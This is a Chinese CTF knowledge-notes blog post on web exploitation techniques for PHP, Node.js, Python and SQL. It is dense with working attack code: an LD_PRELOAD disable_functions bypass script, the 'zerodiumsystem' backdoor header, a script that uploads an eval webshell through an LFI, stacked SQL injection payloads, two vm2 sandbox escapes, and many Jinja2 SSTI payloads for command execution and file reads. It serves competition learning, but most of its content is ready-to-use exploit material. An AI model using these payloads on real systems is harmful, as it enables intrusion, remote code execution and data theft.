• ctf解题知识点记录(持续更新)


    一、无数字字母shell

    利用到的PHP特性:

    1、代码中没有引号的字符都自动作为字符串

    PHP的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。可以理解为$_GET['cmd'] = $_GET[cmd],目前PHP8版本尚未测试是否能用

    2、使Ascii码大于Ox7F的字符都会被当作字符串

    3、PHP在获取HTTP GET参数的时候默认是获得到了字符串类型

    4、PHP中的的大括号(花括号}使用详解

    在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理,可以理解为${_GET}{cmd} = $_GET['cmd'] = $_GET[cmd]

    5、字符串可以用!操作符来进行布尔类型的转换

    <?php
    var_dump(@a);   //string(1) "a"
    var_dump(!@a);  //bool(false)
    var_dump(!!@a); //bool(true)
    

    6、PHP弱类型特性

    PHP由于弱类型这个特性,true的值为1,所以true+ture=2

    7、自增性

    在受到限制的时候,可以通过自增获得自己想要的字符'a'++ => 'b','b'++ => 'c'

    二、文件上传

    1、利用.htaccess上传文件

    • <?被过滤时,用伪协议绕过,上传时上传base64编码过的文件
    AddType application/x-httpd-php .xxx
    php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx"
    

    意思是将后缀.xxx的文件当作php文件进行执行。

    三、绕过open_basedir/disable_function的几种方法

    • 参考链接:

    bypass open_basedir的新方法

    通过chdir来bypass open_basedir

    php5全版本绕过open_basedir读文件脚本

    无需sendmail:巧用LD_PRELOAD突破disable_functions

    disable_function绕过--利用LD_PRELOAD

    bypass_disablefunc_via_LD_PRELOAD

    1、chdir绕过

    <?php
    mkdir('xxx');
    chdir('xxx');
    ini_set('open_basedir','..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    ini_set('open_basedir','/');
    echo(file_get_contents('flag'));
    ?>
    

    2、链接文件绕过

    PHP5版本可用

    3、disable_function绕过--利用LD_PRELOAD

    条件:PHP 支持putenv()和下面用到的函数

    <?php
        echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
    
        $cmd = $_GET["cmd"];
        $out_path = $_GET["outpath"];
        $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
        echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    
        putenv("EVIL_CMDLINE=" . $evil_cmdline);
    
        $so_path = $_GET["sopath"];
        putenv("LD_PRELOAD=" . $so_path);
    
        mail("", "", "", "");
        //error_log("err",1,"","");
        //$img = Imagick("1.mp4");//如果有ImageMagick这个扩展(文件必须存在)
        //imap_mail("","","");//需要安装imap拓展
        //mb_send_mail("","","");
    
        echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 
    
        unlink($out_path);
    ?>
    

    四、常见RCE

    1、北京时间2021.3.29,git.php.net服务器遭到黑客攻陷,php源码被黑客植入后门。

    改包头:

    payload:User-Agentt: zerodiumsystem('cat /flag');

    2、本地文件包含RCE

    php7 segment fault特性

    php://filter/string.strip_tags=/etc/passwd
    php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除

    payload:(例题:[NPUCTF2020]ezinclude)

    import requests
    from io import BytesIO
    
    payload = "<?php eval($_POST[cmd])?>;"
    file_data={
    	'file': BytesIO(payload.encode())
    }
    url="http://588b9bf7-3c49-41b6-93e3-823b74ef67bf.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
    try:
    	r=requests.post(url=url,files=file_data,allow_redirects=False)
    except:
            print(False)
    

    LFIroRCE总结

    文件包含&奇技淫巧

    五、SQL注入

    1、md5绕过

    查询语句:SELECT * FROM users WHERE password ='".md5($password,true)."' limit 0,1

    payload:password=12958192621165157191246674165187868 或 password=ffifdyop

    2、regexp注入

    用于逐字符注出:(NCTF2019—SQLi)

    payload:name(表名或字段名) regexp '^[a-zA-Z0-9]'(这里需要爆破字符)

    3、用于闭合引号的注释符

    #  
    --+
    --
    ;%00
    /**/
    `
    

    4、mysql中点引号( ' )和反勾号( ` )的区别

    linux下不区分,windows下区分
    区别:
    单引号( ' )或双引号主要用于字符串的引用符号
    eg:mysql> SELECT 'hello', "hello" ;
    
    反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
    eg:`mysql>SELECT * FROM   `table`   WHERE `from` = 'abc' ;
    

    5、堆叠注入

    (1)改数据表

    运用:(2021虎符WEB—“慢慢做”管理系统)

    paylaod:';use ctf2;rename table `fake_admin` to `test`;rename table `real_admin_here_do_you_find` to `fake_admin`;
    
    (2)预处理语句

    关于MySQL中的预处理语句原理与使用,这篇文章讲解的比较详细:MySQL的SQL预处理(Prepared)。本题中由于可以使用堆叠查询,并且需要使用SELECT关键字并绕过过滤,因此想到利用字符串转换与拼接构造语句最后执行,这时就可以使用预处理语句。

    预处理语句使用方式:

    PREPARE sqla from '[my sql sequece]';   //预定义SQL语句
    EXECUTE sqla;  //执行预定义SQL语句
    (DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句
    

    预定义语句也可以通过变量进行传递,比如:

    SET @tn = 'hahaha';  //存储表名
    SET @sql = concat('select * from ', @tn);  //存储SQL语句
    PREPARE sqla from @sql;   //预定义SQL语句
    EXECUTE sqla;  //执行预定义SQL语句
    (DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句
    

    运用:(Web-随便注)

    paylaod:';SET @sql=concat(char(115,101,108,101,99,116)," * from `table_name`");PREPARE sqla from @sql;EXECUTE sqla;#
    

    六、nodejs

    1、绕过关键字过滤(prototype、process等)

    (1)拼接绕过
    f.constructor("return process")();
    等价于
    f[[c,o,n,s,t,r,u,c,t,o,r]join]([r,e,t,u,r,n,,p,r,o,c,e,s,s]join)();
    
    (2)结合数组调用绕过
    `${`${`prototyp`}e`}` == prototype
    

    2、vm2沙盒逃逸([HFCTF2020]JustEscape)

    方法一:

    "use strict";
    const {VM} = require('vm2');
    const untrusted = '(' + function(){
        TypeError.prototype.get_process = f=>f.constructor("return process")();
        try{
            Object.preventExtensions(Buffer.from("")).a = 1;
        }catch(e){
            return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
        }
    }+')()';
    try{
        console.log(new VM().run(untrusted));
    }catch(x){
        console.log(x);
    }
    

    方法二:

    "use strict";
    const {VM} = require('vm2');
    const untrusted = '(' + function(){
        try{
            Buffer.from(new Proxy({}, {
                getOwnPropertyDescriptor(){
                    throw f=>f.constructor("return process")();
                }
            }));
        }catch(e){
            return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
        }
    }+')()';
    try{
        console.log(new VM().run(untrusted));
    }catch(x){
        console.log(x);
    }
    

    七、SSTI

    PYTHON

    1、各种payload

    命令执行

    <class 'warnings.catch_warnings'>

    ''.__class__.__mro__[1].__subclasses__()[135].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")
    

    <class 'subprocess.Popen'>

    {{''.__class__.__mro__[1].__subclasses__()[437]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
    

    <class '_frozen_importlib._ModuleLock'>

    #eval
    ''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
    
    ''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")
    
    #__import__
    ''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()
    
    ''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()
    

    其他利用方法(os.system执行成功的返回值为0)

    #万金油,必会
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
    
    #<class '_frozen_importlib_external.FileFinder'>
    ().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")
    
    #<class 'codecs.StreamReaderWriter'>
    ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")
    
    #<class 'os._wrap_close'>
    [].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')
    ().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')
    
    <class 'traceback.FrameSummary'>
    {{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}}
    
    文件读取

    <class '_frozen_importlib._ModuleLock'>

    {{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()}}
    

    <class 'click.utils.LazyFile'>

    {{ ''.__class__.__mro__[1].__subclasses__()[341]('test.txt').read()}}
    

    <class 'warnings.catch_warnings'>

    {{''.__class__.__mro__[1].__subclasses__()[135].__init__.__globals__['__builtins__'].open('test.txt','r').read()}}
    

    <class 'codecs.IncrementalEncoder'>

    {{{}.__class__.__mro__[1].__subclasses__()[103].__init__.__globals__['open']('test.txt').read()}}
    

    2、部分过滤绕过

    函数名被过滤——用+号拼接,例如:'po'+'pen' = 'popen'

    关键字符被过滤——使用编码绕过

    连接的.被过滤——用|attr进行拼接,例如:attr("x5fx5fclassx5fx5f")|attr("x5Fx5Fbasesx5Fx5F") = __class__.__bases__

    包裹的{{ }}被过滤——用{% %}绕过

    RUBY

    Ruby ERB模板注入

    Ruby 预定义变量

    payload

    <%= 7 * 7 %>
    

    例题:[SCTF2019]Flag Shop

    八、反序列化

    PHP

    魔术方法

    __get
    当对象调用不可访问属性时,就会自动触发get魔法方法。

    __call
    在对象调用不可访问函数时,就会自动触发call魔法方法。

    __construct
    当对象被创建的时候调用。

    __destruct
    当对象被销毁的时候调用。

    __toString
    当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发)。

    __sleep
    序列化对象之前就调用此方法(其返回需要是一个数组)。

    __wakeup
    反序列化恢复对象之前就调用此方法。

    __call
    当调用对象中不存在的方法会自动调用此方法。

    • SoapClient
    这个也算是目前被挖掘出来最好用的一个内置类,php5、7都存在此类,可以利用SoapClient中的__call方法进行SSRF。
    原文地址:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0
    

    字符逃逸

    function safe($parm)
    {
        $array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\', "*", "alter");
        return str_replace($array, 'hacker', $parm);
    }
    

    问题就出在这里,该函数对字符串进行了一些替换,但是替换前后字符串长度可能发生变化,比如将union替换为hacker增加了一个字符,于是我们可以利用这个漏洞将我们的序列化字符串逃逸出来。如果不这样做,payload就会当作一个普通字符串,而不是序列化里的内容。

    杂项

    哈希长度拓展攻击

    哈希长度扩展攻击的简介以及HashPump安装使用方法

    payload:(例题:[NPUCTF2020]ezinclude)

    import os
    import requests
    for i in range(1,12):
        data=os.popen('hashpump -s fa25e54758d5d5c1927781a6ede89f8a -d admin -k '+str(i)+' -a admin').read()
        name=data.split('
    ')[0]
        password=data.split('
    ')[1].replace('\x','%')
        result=requests.get('http://c1952ab8-b389-4d44-b2b5-07020d9d4886.node3.buuoj.cn/?name='+password+'&pass='+name).text
        print(result)
    

    PHP根据随机数预测种子

    php_mt_rand 工具只能用于爆破mt_rand()函数产生的随机数的种子值, 无论是否显式调用mt_srand()函数播种,但不能用于mt_rand(1,1000)这种指定范围的和rand函数的爆破
    

    例题:[MRCTF2020]Ezaudit

  • 相关阅读:
    用getBoundingClientRect()来获取页面元素的位置
    asp.net 发送邮件
    MVC5笔记【一】
    WEB前端组件思想【日历】
    WEB前端组件思想【分页】
    【转】前端进阶之路:如何高质量完成产品需求开发
    KindeEditor图片上传插件用法
    jQuery Post 提交内容中有标签报错
    【转发】彻底理解 JS 中 this 的指向
    chrome扩展程序开发之在目标页面运行自己的JS
  • 原文地址:https://www.cnblogs.com/MisakaYuii-Z/p/14634926.html
Copyright © 2020-2023  润新知